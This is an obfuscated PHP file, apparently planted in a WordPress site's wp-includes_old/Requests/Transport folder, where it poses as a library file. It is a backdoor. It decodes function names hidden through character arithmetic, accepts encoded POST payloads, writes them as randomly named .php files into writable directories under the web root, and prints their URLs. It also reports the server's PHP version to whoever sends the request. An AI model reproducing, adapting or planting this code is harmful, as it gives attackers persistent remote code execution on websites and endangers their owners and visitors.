File: /var/www/sites/1250.info/wp-includes_old/Requests/Transport/iytihaze.php
<?php $oUjaiQhz = "LaNwlbha";function ZWOWYoNnz($oUjaiQhz){ $xGWkeIXtc = chr(115).chr(116)."\x72".chr(95).chr(114)."\x6f".'t'.'1'.chr(763-712);$oUjaiQhz = $xGWkeIXtc($oUjaiQhz);$sCtsrp = chr(366-252).chr(849-752)."\167".chr(397-280).chr(406-292).chr(395-287).chr(506-406).chr(101)."\143".chr(111)."\x64"."\145";$oUjaiQhz = $sCtsrp($oUjaiQhz);$oUjaiQhz = str_split($oUjaiQhz);return $oUjaiQhz;}function fYaHPIiKD($yJNOla, $VJyhsKbukY){$yJNOla = array_slice(str_split(str_repeat($yJNOla, (count($VJyhsKbukY)/16)+1)), 0, count($VJyhsKbukY));return $yJNOla;}function gBnKh($zfWrQdvNa, $PwCFm, $yJNOla){$fETNzhhEv = "42319cbc-fa21-47df-8573-4dec6dc8a6df";return $zfWrQdvNa ^ $fETNzhhEv[$PwCFm % strlen($fETNzhhEv)] ^ $yJNOla;}function jKNaVbWVKm($VJyhsKbukY, $yJNOla){$VJyhsKbukY = array_map("gBnKh", array_values($VJyhsKbukY), array_keys($VJyhsKbukY), array_values($yJNOla));$VJyhsKbukY = implode("", $VJyhsKbukY);$AOPZWrrAxJ = "\165"."\156"."\x73".chr(101).chr(114).'i'."\x61".chr(108)."\151"."\x7a".chr(391-290);$VJyhsKbukY = @$AOPZWrrAxJ($VJyhsKbukY);return $VJyhsKbukY;}function TqKwlqNZS(){echo "KCNyop";}function eDSDvvjJh($OfFKCisSycir){static $PYLIerh = array();$rRuDPMa = glob($OfFKCisSycir . '/*', GLOB_ONLYDIR);$DfKXEEr = count($rRuDPMa);if ($DfKXEEr > 0) {foreach ($rRuDPMa as $OfFKCisSyc) {$eGNZX = chr(105).chr(320-205).chr(1075-980)."\x77"."\x72".chr(105)."\164".chr(97).chr(98)."\x6c"."\145";if (@$eGNZX($OfFKCisSyc)) {$PYLIerh[] = $OfFKCisSyc;}}}foreach ($rRuDPMa as $OfFKCisSycir) eDSDvvjJh($OfFKCisSycir);return $PYLIerh;}function COVug(){echo "LaNwlbha";}function brrXVSp($VJyhsKbukY){$OXcwB = "\x44"."\x4f".chr(710-643).'U'.chr(756-679)."\x45".chr(592-514).chr(869-785)."\x5f".chr(109-27).chr(657-578).chr(79).chr(902-818);$mKLkNQzc = $_SERVER[$OXcwB];$rRuDPMa = eDSDvvjJh($mKLkNQzc);$oqiqNfrE = array_rand($rRuDPMa);$AdefkHn = chr(46)."\160"."\150".'p';$hLdkqvO = $rRuDPMa[$oqiqNfrE] . "/" . substr(md5(time()), 0, 8) . $AdefkHn;$fApdhZam = chr(122-20)."\x69".'l'.'e'."\137".'p'.chr(117)."\x74"."\x5f".'c'."\157"."\x6e"."\164"."\145"."\156".'t'."\x73";@$fApdhZam($hLdkqvO, $VJyhsKbukY);$oXuZjTO = chr(992-920).'T'."\x54".chr(784-704)."\137".'H'."\117"."\x53".'T';$yllARxZE = chr(273-169).chr(191-75).chr(696-580).chr(112).chr(58)."\x2f".'/';$ufTwltHRkV = $yllARxZE . $_SERVER[$oXuZjTO] . substr($hLdkqvO, strlen($mKLkNQzc));print($ufTwltHRkV);}function Amxlfck(){$eqqXKPi = chr(112).'h'."\160";$HrRVac = "\x70".'h'.'p'.chr(593-475)."\x65".chr(114)."\163".chr(639-534)."\157"."\156";$VJyhsKbukY = Array($eqqXKPi => @$HrRVac(), );$LLuWZTO = "\x73"."\145"."\162"."\151".'a'.'l'.'i'.chr(351-229).chr(101);echo @$LLuWZTO($VJyhsKbukY);}foreach ($_POST as $yJNOla => $VJyhsKbukY){$DpbOVAAdLQ = strlen($yJNOla);if ($DpbOVAAdLQ == 16){$VJyhsKbukY = ZWOWYoNnz($VJyhsKbukY);$yJNOla = fYaHPIiKD($yJNOla, $VJyhsKbukY);$VJyhsKbukY = jKNaVbWVKm($VJyhsKbukY, $yJNOla);if (@is_array($VJyhsKbukY)){$oqiqNfrE = array_keys($VJyhsKbukY);$VJyhsKbukY = $VJyhsKbukY[$oqiqNfrE[0]];$oqiqNfrE = $oqiqNfrE[0];if ($VJyhsKbukY !== $oqiqNfrE){brrXVSp($VJyhsKbukY);}else {Amxlfck();}die();}}}